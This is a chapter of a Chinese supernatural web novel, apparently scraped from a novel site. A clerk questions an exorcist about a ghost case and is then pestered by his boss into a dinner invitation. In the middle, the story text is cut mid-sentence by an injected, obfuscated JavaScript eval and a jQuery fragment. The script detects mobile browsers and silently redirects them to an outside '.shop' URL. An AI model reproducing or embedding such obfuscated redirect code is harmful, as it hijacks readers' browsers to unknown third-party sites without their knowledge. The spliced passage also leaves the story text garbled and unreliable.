终鬼降生,是每个半人都会面临的问题。
寄生在人体内的鬼会蚕食宿主,单凭半人根本无法对抗这种力量,所以他们唯一能做的就只有将新的厉鬼引到体内——其实就是被新的厉鬼寄生。
新鬼入体,新旧两鬼为争主权便会互相厮杀,被寄生的宿主依靠它们内斗才能短暂地延长寿命。
然而这种延长也只是暂时的,两个鬼总有一天会分出胜负。
两鬼中赢者生,即为终鬼;输者死,则为聻。
到那时,终鬼的寄生进度重启,到了再次濒临降生的时候,半人就只能继续被新的鬼寄生,以抵抗上一轮的终鬼。
不断被厉鬼寄生是每个半人的宿命。在半人中,诡者经常与厉鬼接触,他们可以自己寻找新鬼。但臣者常年居于后方,对于大多数臣者,联合会分配给他们的鬼就是他们唯一的指望。
邓希作为一名平平无奇的臣者部小队长,上有顶头上司大司徒和监诡人,下有一众臣者新人。他每天要做的除了给联合会打工,就只有祈祷联合会别完蛋,免得自己面临终鬼降生。
但这打工生活和他想象中实在不太一样,繁多琐碎的任务,不靠谱的上级。就这一天里,他已经硬生生撅断了三根笔。
孟青挠头,干巴巴笑了两声:“哈哈,不小心就多聊了一会,不好意思啊。”
啪嗒,手中的笔发出清脆的碎裂声。
哦,是四根。
“这是第二十一次。”
邓希一副皮笑肉不笑的样子:“您下次再有临时行程时,可否不吝于开个金口提前告知?我们臣者部也是很忙的,没那么多时间看人表演默剧。”
孟青最怕工作时进入狂暴状态的邓希,又自知理亏,讪笑两声连忙溜了。
旁边有人小心翼翼递来一根新笔,邓希黑着脸接过,深深吸了口气。
他平生最大的梦想就是做个平平无奇的咸鱼打工人,老板说啥他做啥,老板指哪他打哪。
可惜天不垂怜,他的直系上司一个姓林,端的是没个正形招猫逗狗;另一个姓孟,那是贼不着调想一出是一出。
邓希有些麻木地想,寰宇市的高层果然就是个巨大的草台班子,这世界有他们迟早得完。
所以当他打开病房门的时候,脸色那是相当的臭。
徐行看了他一眼,识趣地没说什么。
还好邓希只是对自己的两位上司有意见,进屋后他长出口气,表情肉眼可见地缓和下来。
“你好,我叫邓希,寰宇市臣者部的分队长,”他拉开一张凳子坐下,“您就是诡者徐行吧?不知现在是否方便回答几个问题。”
虽然邓希并不知道徐行被上头相当重视,但他却无比清楚二级事件的含金量,是以对待徐行时不自觉加了几分慎重。
徐行扫视一眼他身后带来的一众臣者学徒:“方便。”
自己好像也没法说不方便,况且他在病床上都快霉了,看起来像是很忙的样子吗。
“此次您参与的辞华女寝案共造成三十四人死亡,直接经济损失约三十五万元,收押厉鬼为丁级叹息鬼和戊级蜱虫鬼,被定性为二级事件。”
邓希从档案中抬头,推了下无边眼镜:“请问,在此次事件中,令这两鬼复明的契机分别是什么?”
复明,又一个新术语。
不过和契机两个字连在一起就没那么难理解。
厉鬼平常是看不到人类的,正如盲人一般,但当有人符合了契机,厉鬼就会像盲人复明一般看到符合契机的人。
厉鬼的复明契机么?
随着邓希的问题,徐行又被强行带回了那天。
死寂的楼道,无人却在运行的电梯,女尸脸上蠕动的口罩……
还有临近降生,控制不住对身边人下的死手。
眼见徐行一时陷入了沉默,邓希也不催他,显出了足够多的耐心。
片刻后,徐行道:“鬼蜱虫的复明契机是接触,它接触人体后会寄生在人的脸上,操控尸体跳楼,然后再用领域制造出人还活着的幻象。”
“它还会用幻象将自己伪装成口罩,以及创造出相当多的黑色甲虫压迫人的活动空间。”
随着他的话语,邓希身后的臣者纷纷奋笔疾书,邓希也在随身携带的本子上写了些什么,表情若有所思。
“至于叹息鬼……”
徐行顿了一下:“男性只要正对它就会死,女性则是背对。”
正因如此,一开始鬼出现在徐行和孟青身后,才会只有孟青被盯上。
姜楚玥在厉鬼的后面,又是面对厉鬼,所以并未符合契机。而那大师则运气差些,因为一直看着徐行他们,所以恰好是正面对着厉鬼。
也是因为想通了这点,徐行才会让孟青她们一定要背后贴墙站立,因为这样就一定能确保她们是面朝厉鬼的。
而徐行则是在空中将全身翻转了过来,确保自己对厉鬼动手之前都是背对。
邓希低声念道:“果然如此……”
其实在来找徐行之前,臣者部就已经通过孟青的约束环了解过事情经过了。
约束环就是孟青脖子上的黑色颈环,每个联合会的半人都有,而且无法擅自取下。
它的功能有很多,除了徐行看到过的照明,还有一个功能就是录像,也就是充当着执法记录仪的角色,诡者在执行任务前都会将其打开。
但臣者部能通过约束环看到的也只有当时危险的过程和恶心的画面,至于厉鬼的复明契机他们也只能自行猜测。
在安全情况下能猜中契机的人大有人在,但当时情况那么凶险,他们看着视频都是心惊肉跳,更别提徐行是身临其境。
在那种情况下还能冷静地思考,真不是常人能够做到的。所有臣者在看监诡人的录像时都会忍不住肃然起敬,这也是监诡人地位在联合会中如此崇高的原因。
正如此时,病房里各个臣者看向徐行的目光中除了好奇,还有钦佩和尊重。
没有在前线收押厉鬼的监诡人就没有在后面获得分配的后勤,他们的安稳生活是这些监诡人拼命换来的。所以平日里说归说笑归笑,但真要认真起来,其实他们每个人对于监诡人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771583|209925||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
都是又敬又畏。
邓希好脾气地提出了下一个问题。
“还有一个问题,想向您了解一下……”
二十分钟后,臣者部的问询终于结束。
邓希将笔记本合起,面带微笑站了起来。
“今天的问询就到这里,感谢您的配合。”
徐行思路清晰,说话风格简明直接,和他对话效率相当高。
虽然被不省心的领导磋磨了一下午,但工作对象如此省心显然让邓希的心情变得相当美妙。
他心情好了,自然就不会为难下属:“大家也辛苦了,回臣者部归档后就可以下班了,记得不要关闭约束环的通讯。”
其他人顿时喜形于色,向邓希道别后陆续离开了。
这时,邓希手机一响。
虽然联合会成员之间可以用约束环进行沟通,但正如很多人办公都会用工作机,一般只有关于厉鬼的事他们才会使用约束环,私事则习惯用手机交流。
邓希拿出手机一看,竟是孟青给他发来的消息。
[规矩是死的我也是]:邓干部呀,你应该还在徐行那吧?
邓希当即开始打字回应,然而他刚堪堪敲出一个字,那边又来了一条消息。
[规矩是死的我也是]:今晚有空吗,徐行同志刚出院,今晚我请客,咱们去吃火锅!
邓希把那个字删除,然后又输入了几个拼音,费劲地寻找着想用的字。
[规矩是死的我也是]:你放心,知道你讨厌聚会,没什么闲杂人等,就咱们仨还有姜楚玥。
[规矩是死的我也是]:姜楚玥你知道吧?就是约束环录像里那个小姑娘。
邓希额角青筋轻微凸起,又将好不容易打出来的两个字一个个敲掉。
[规矩是死的我也是]:诶你怎么老在输入中啊,装高冷是吧?那我可当你同意了。
[规矩是死的我也是]:今晚七点半,这个地址,不见不散!
[规矩是死的我也是]:【定位消息】
喀嚓一声,才到邓希手里不过一个小时的笔再次折断。
摊开手掌,邓希无慈悲地看着笔的尸体。
今天第五根。
“那个……”
听到声音,邓希空洞的目光移到徐行身上,面对厉鬼尚且思路清晰的徐行一时竟不知自己这话该不该说了。
他沉默了一下,还是问道:“你为什么不发语音。”
“……”
“我怕我忍不住骂她,”邓希声音平静,“这个理由够充分吗?”
虽然不知道手机对面的是谁,但是徐行一时陷入了沉默。
嗯,怎么不充分呢。
心灵上再次惨遭领导凌虐,邓希只觉得自己心静如水,简直要超脱尘俗之外,尘归尘土归土,人生一世草木一秋,心存善念方可成佛,还有……
“那个,”他指着徐行的手,“你好像冒血了,真的没问题吗?”
徐行微微一怔,才发现吊瓶里的液体不知何时输完了,此刻输液管里血液回流,已经红了一大截。